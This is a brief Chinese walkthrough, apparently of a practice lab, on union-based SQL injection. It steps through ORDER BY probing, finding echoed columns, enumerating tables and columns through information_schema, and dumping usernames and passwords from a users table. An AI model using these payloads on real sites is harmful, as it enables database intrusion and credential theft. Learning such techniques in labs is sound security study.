輸入?id=1 得到登錄頁面:
通過order by 函數試探:
5的時候報錯
試探到3 的時候返回正確的值:
然后繼續注入:?id= -1 ' union? select 1,2,3 --+ 查看回顯點:
開始查看數據庫內容:id=-1' union select 1,database(),3 --+
得到當前數據庫是security
查詢數據庫里面的表內容:
id=-1%27%20union%20select%201,2,group_concat(table_name) from information_schema.tables where table_schema=database()%20--+
查詢表里面的列名:
?id=-1 'union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'%20--+
查詢字段詳細內容:payload:
?-d=-1' union%20select%201,2,group_concat(0x7e,username,0x5c,password,0x7e)from users %20--+